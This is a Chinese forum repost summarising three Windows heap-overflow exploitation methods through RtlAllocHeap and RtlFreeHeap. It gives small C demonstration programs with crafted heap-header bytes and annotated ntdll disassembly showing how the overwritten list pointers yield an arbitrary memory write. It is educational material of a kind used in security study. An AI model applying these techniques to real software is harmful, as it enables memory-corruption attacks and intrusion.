总结windows下堆溢出的三种利用方式
文章属性:转载
文章提交:watercloud (watercloud_at_xfocus.org)
原文由Leven发在网络编程版:
https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=34455&p=122380
总结windows下堆溢出的三种利用方式
1.利用RtlAllocHeap
这是ISNO提到的,看这个例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x01\x08\x00\x11\x11\x11\x11\x21\x21\x21\x21";
buf1 = (char*)malloc (32); /* 分配两块内存 */
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */
buf2 = (char*)malloc (16);
free (buf1);
free (buf2);
return 0;
}
在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样
buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
在给buf2完成malloc之后,buf1指向的内存分配情况是这样
buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)
现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码
001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX
此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于 format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会
2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09";
buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);
memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */
free (buf1);
free (buf2);
return 0;
}
由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的
先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {
//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//
USHORT Size;
//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//
USHORT PreviousSize;
//
// This field contains the index into the segment that controls
// the memory for this block.
//
UCHAR SegmentIndex;
//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//
UCHAR Flags;
//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//
UCHAR UnusedBytes;
//
// Small (8 bit) tag indexes can go here.
//
UCHAR SmallTagIndex;
#if defined(_WIN64)
ULONGLONG Reserved1;
#endif
} HEAP_ENTRY, *PHEAP_ENTRY;
就是
本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)
注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义
再看看RtlFreeHeap里面几个关键的地方
关键点一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转,这里不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳,这里不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳
关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里要跳
关键点三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常
我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后
的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用
3.利用RtlFreeHeap的方式二
这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子
main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x00\x08\x00\x11\x11\x11\x11\x22\x22\x22\x22";
buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */
free (buf1);
free (buf2);
return 0;
}
看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点
关键点一
同方式二的关键点一,设法跳到关键点二
关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //进入这个CALL
关键点三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //将buf1之前的堆的长度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到实际大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的长度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的长度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的长度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大于0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大于则跳,这里不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含则跳,这里不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //将buf2的0x0c偏移给ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //将buf2的0x08偏移给EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //这里发生异常
001B:77FCCA38 894804 MOV [EAX+04],ECX
方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49
方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY
除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign
溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。
Leven 编辑于 2004-03-22 19:52
---
晕倒中
总结windows下堆溢出的三种利用方式相关推荐
- c mysql5.7_CentOS7下MySQL5.7的三种安装方式详解
操作系统环境: CentOS 7.4最小化安装 [root@node3 src]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Cor ...
- Redis未授权访问的三种利用方式
简介 Redis是一套开源的使用ANSI C编写.支持网络.可基于内存亦可持久化的日志型.键值存储数据库,并提供多种语言的API. 漏洞描述 Redis默认情况下会绑定在0.0.0.0:6379,如果 ...
- 简单阐述下OC中UIImage三种创建方式~~~
一. 直接使用imageNamed进行创建 1 UIImage * image = [UIImage imageNamed:@"1.jpg"]; 简单说一下这种方式的优缺点: 优点 ...
- 【渗透】Redis 未授权访问漏洞利用(三种利用方式)
起序:是因为我同学的云服务器被黑了,被挖矿了,原因就是 redis 可以未授权访问,还是 root 级别的,我直接好家伙,整理记录一下. 一.软件环境 虚拟机:VMware Workstation 1 ...
- FPGA之道(41)HDL的三种描述方式
文章目录 前言 三种描述方式 结构化描述方式 数据流描述方式 行为级描述方式 前言 常编写Verilog代码的就会知道,我们对于某一功能的描述,可以通过门电路来描述,也可以直接描述其功能等,这就牵扯到 ...
- 可网管交换机的三种管理方式介绍
交换机的按是否可网管,分为可网管交换机和不可网管交换机,可网管交换机可以通过以下几种途径进行管理:通过RS-232串行口(或并行口)管理.通过网络浏览器管理和通过网络管理软件管理.接下来就由杭州飞畅科 ...
- Centos 6.8安装open***.三种认证方式
Centos X64 6.8下安装Open***,三种认证方式 环境说明: 主机名称:open***01 安装版本为open***-2.3.11-1.el6.x86_64 相关资源下载连接如下: 链接 ...
- 交换机的三种连接方式:级联、堆叠和集群
交换机的连接方式大家应该都知道,一共有三种,分别是:级联.堆叠和集群.今天, 就由飞畅科技的小编来为大家详细介绍下交换机的这三种连接方式及彼此间的区别,感兴趣的朋友就一起来看看吧! 交换机的级联技术一 ...
- Java中OutOfMemoryError(内存溢出)的三种情况及解决办法
Java中OutOfMemoryError(内存溢出)的三种情况及解决办法 相信有一定java开发经验的人或多或少都会遇到OutOfMemoryError的问题,这个问题曾困扰了我很长时间,随着解决各 ...
最新文章
- 2021中国国际消费电子博览会和青岛国际软件融合创新博览会盛大开幕
- SAP WM Movement Type 里的‘Ref.Stor.Type Search’字段用法初探
- C++ 自由存储区是否等价于堆?
- 【摩天好课推荐】2.4 Python代码常见的逻辑结构
- 零基础学Python(第二十一章 OS文件目录)
- 神经网络中的病态曲率-Pathological Curve-举例
- SAP CRM WebClient UI和Hybris Commerce的懒加载机制
- 电缆的验证、鉴定和认证应该选择什么测试工具
- Flashcache
- signature=b28f8fc969e82dcca916aa6ef86476cb,Method for verifying redundancy of secure systems
- lwip协议栈实现服务器端主动发送,lwip协议栈源码详解说明 - 全文
- kycms1.3.0命令执行利用
- 老外用VB6写的Windows驱动备份软件
- 我所理解的CPU中断
- 三方登录——新浪微博登陆
- led灯光衰怎么解决_影响LED灯具光衰的原因及解决方法
- CMD命令进入MySQL数据库的方法
- 高考2017c语言试卷,2017高考语文模拟考试试卷附答案
- 普通心理学-彭聃龄版笔记(转贴)
- 生活,又怎能鱼和熊掌兼得?
热门文章
- centos7 常用命令参考
- JPA getValidationMode()
- java.io.IOException: CreateProcess error=2, ?????????
- WCF中如何修改MaxItemsInObjectGraph的限制
- 深入理解JavaScript内部原理(5): function
- 超级*** 08鬼斧神工
- 面试思考,入职初期怎么做
- Dapper实用教程
- 安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(四)
- 数字三角形_递归_递推(动态规划)